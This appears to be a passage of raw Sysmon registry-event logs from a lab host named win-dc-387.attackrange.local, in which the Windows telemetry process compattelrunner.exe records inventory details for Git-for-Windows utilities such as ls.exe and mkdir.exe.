14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\msgattrib.exe|ef0e87f6c6fba86f\LowerCaseLongPathc:\program files\git\usr\bin\msgattrib.exe 13241300x800000000000000037138Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mpicalc.exe|f96ca699905a957b\BinProductVersion(Empty) 13241300x800000000000000037137Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mpicalc.exe|f96ca699905a957b\LinkDate01/01/1970 00:00:00 13241300x800000000000000037136Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mpicalc.exe|f96ca699905a957b\Publisher(Empty) 13241300x800000000000000037135Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mpicalc.exe|f96ca699905a957b\LowerCaseLongPathc:\program files\git\usr\bin\mpicalc.exe 13241300x800000000000000037134Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mount.exe|9be5c50fa3ad3871\BinProductVersion(Empty) 13241300x800000000000000037133Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mount.exe|9be5c50fa3ad3871\LinkDate03/26/2021 22:24:40 13241300x800000000000000037132Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mount.exe|9be5c50fa3ad3871\Publisher(Empty) 13241300x800000000000000037131Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mount.exe|9be5c50fa3ad3871\LowerCaseLongPathc:\program files\git\usr\bin\mount.exe 13241300x800000000000000037130Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mktemp.exe|f571057b3b322073\BinProductVersion(Empty) 13241300x800000000000000037129Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mktemp.exe|f571057b3b322073\LinkDate01/01/1970 00:00:00 13241300x800000000000000037128Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mktemp.exe|f571057b3b322073\Publisher(Empty) 13241300x800000000000000037127Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mktemp.exe|f571057b3b322073\LowerCaseLongPathc:\program files\git\usr\bin\mktemp.exe 13241300x800000000000000037126Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mkpasswd.exe|73ea587603f838db\BinProductVersion(Empty) 13241300x800000000000000037125Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mkpasswd.exe|73ea587603f838db\LinkDate03/26/2021 22:24:40 13241300x800000000000000037124Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mkpasswd.exe|73ea587603f838db\Publisher(Empty) 13241300x800000000000000037123Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mkpasswd.exe|73ea587603f838db\LowerCaseLongPathc:\program files\git\usr\bin\mkpasswd.exe 13241300x800000000000000037122Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mknod.exe|1c9cc79f3ba29852\BinProductVersion(Empty) 13241300x800000000000000037121Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mknod.exe|1c9cc79f3ba29852\LinkDate01/01/1970 00:00:00 13241300x800000000000000037120Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mknod.exe|1c9cc79f3ba29852\Publisher(Empty) 13241300x800000000000000037119Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mknod.exe|1c9cc79f3ba29852\LowerCaseLongPathc:\program files\git\usr\bin\mknod.exe 13241300x800000000000000037118Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mkgroup.exe|b0fed08db39d16e4\BinProductVersion(Empty) 13241300x800000000000000037117Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mkgroup.exe|b0fed08db39d16e4\LinkDate03/26/2021 22:24:40 13241300x800000000000000037116Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mkgroup.exe|b0fed08db39d16e4\Publisher(Empty) 13241300x800000000000000037115Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mkgroup.exe|b0fed08db39d16e4\LowerCaseLongPathc:\program files\git\usr\bin\mkgroup.exe 13241300x800000000000000037114Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mkfifo.exe|1676140672f1cfe0\BinProductVersion(Empty) 13241300x800000000000000037113Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mkfifo.exe|1676140672f1cfe0\LinkDate01/01/1970 00:00:00 13241300x800000000000000037112Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mkfifo.exe|1676140672f1cfe0\Publisher(Empty) 13241300x800000000000000037111Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mkfifo.exe|1676140672f1cfe0\LowerCaseLongPathc:\program files\git\usr\bin\mkfifo.exe 13241300x800000000000000037110Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mkdir.exe|d166f5452ec8d3f1\BinProductVersion(Empty) 13241300x800000000000000037109Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mkdir.exe|d166f5452ec8d3f1\LinkDate01/01/1970 00:00:00 13241300x800000000000000037108Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mkdir.exe|d166f5452ec8d3f1\Publisher(Empty) 13241300x800000000000000037107Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mkdir.exe|d166f5452ec8d3f1\LowerCaseLongPathc:\program files\git\usr\bin\mkdir.exe 13241300x800000000000000037106Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mintty.exe|49e751352c5fb46d\BinProductVersion0.0.0.0 13241300x800000000000000037105Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mintty.exe|49e751352c5fb46d\LinkDate01/01/1970 00:00:00 13241300x800000000000000037104Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mintty.exe|49e751352c5fb46d\Publisherandy koppe / thomas wolff 13241300x800000000000000037103Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mintty.exe|49e751352c5fb46d\LowerCaseLongPathc:\program files\git\usr\bin\mintty.exe 13241300x800000000000000037102Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\minidumper.exe|54796dc6e15198fd\BinProductVersion(Empty) 13241300x800000000000000037101Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\minidumper.exe|54796dc6e15198fd\LinkDate03/26/2021 22:24:40 13241300x800000000000000037100Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\minidumper.exe|54796dc6e15198fd\Publisher(Empty) 13241300x800000000000000037099Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\minidumper.exe|54796dc6e15198fd\LowerCaseLongPathc:\program files\git\usr\bin\minidumper.exe 13241300x800000000000000037098Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\md5sum.exe|24d7cfd4f0a567ad\BinProductVersion(Empty) 13241300x800000000000000037097Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\md5sum.exe|24d7cfd4f0a567ad\LinkDate01/01/1970 00:00:00 13241300x800000000000000037096Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\md5sum.exe|24d7cfd4f0a567ad\Publisher(Empty) 13241300x800000000000000037095Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\md5sum.exe|24d7cfd4f0a567ad\LowerCaseLongPathc:\program files\git\usr\bin\md5sum.exe 13241300x800000000000000037094Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mac2unix.exe|fa8c232fc2ace248\BinProductVersion(Empty) 13241300x800000000000000037093Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mac2unix.exe|fa8c232fc2ace248\LinkDate01/01/1970 00:00:00 13241300x800000000000000037092Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mac2unix.exe|fa8c232fc2ace248\Publisher(Empty) 13241300x800000000000000037091Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\mac2unix.exe|fa8c232fc2ace248\LowerCaseLongPathc:\program files\git\usr\bin\mac2unix.exe 13241300x800000000000000037090Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\lzmainfo.exe|3070267691718925\BinProductVersion5.2.5.0 13241300x800000000000000037089Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\lzmainfo.exe|3070267691718925\LinkDate01/01/1970 00:00:00 13241300x800000000000000037088Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\lzmainfo.exe|3070267691718925\Publisherthe tukaani project <https://tukaani.org/> 13241300x800000000000000037087Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\lzmainfo.exe|3070267691718925\LowerCaseLongPathc:\program files\git\mingw64\bin\lzmainfo.exe 13241300x800000000000000037086Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\lzmadec.exe|d4a4f5d09de2ad9f\BinProductVersion5.2.5.0 13241300x800000000000000037085Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\lzmadec.exe|d4a4f5d09de2ad9f\LinkDate01/01/1970 00:00:00 13241300x800000000000000037084Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\lzmadec.exe|d4a4f5d09de2ad9f\Publisherthe tukaani project <https://tukaani.org/> 13241300x800000000000000037083Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\lzmadec.exe|d4a4f5d09de2ad9f\LowerCaseLongPathc:\program files\git\mingw64\bin\lzmadec.exe 13241300x800000000000000037082Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\lsattr.exe|e9598ad07d9f1abe\BinProductVersion(Empty) 13241300x800000000000000037081Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\lsattr.exe|e9598ad07d9f1abe\LinkDate03/26/2021 22:24:39 13241300x800000000000000037080Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\lsattr.exe|e9598ad07d9f1abe\Publisher(Empty) 13241300x800000000000000037079Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\lsattr.exe|e9598ad07d9f1abe\LowerCaseLongPathc:\program files\git\usr\bin\lsattr.exe 13241300x800000000000000037078Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ls.exe|dfaab3a81c3b31c6\BinProductVersion(Empty) 13241300x800000000000000037077Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ls.exe|dfaab3a81c3b31c6\LinkDate01/01/1970 00:00:00 13241300x800000000000000037076Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ls.exe|dfaab3a81c3b31c6\Publisher(Empty) 13241300x800000000000000037075Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ls.exe|dfaab3a81c3b31c6\LowerCaseLongPathc:\program files\git\usr\bin\ls.exe 13241300x800000000000000037074Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\logname.exe|12359a62b40825c8\BinProductVersion(Empty) 13241300x800000000000000037073Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\logname.exe|12359a62b40825c8\LinkDate01/01/1970 00:00:00 13241300x800000000000000037072Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\logname.exe|12359a62b40825c8\Publisher(Empty) 13241300x800000000000000037071Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\logname.exe|12359a62b40825c8\LowerCaseLongPathc:\program files\git\usr\bin\logname.exe 13241300x800000000000000037070Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\locate.exe|62a0c84839d4a077\BinProductVersion(Empty) 13241300x800000000000000037069Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\locate.exe|62a0c84839d4a077\LinkDate01/01/1970 00:00:00 13241300x800000000000000037068Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\locate.exe|62a0c84839d4a077\Publisher(Empty) 13241300x800000000000000037067Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\locate.exe|62a0c84839d4a077\LowerCaseLongPathc:\program files\git\usr\bin\locate.exe 13241300x800000000000000037066Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 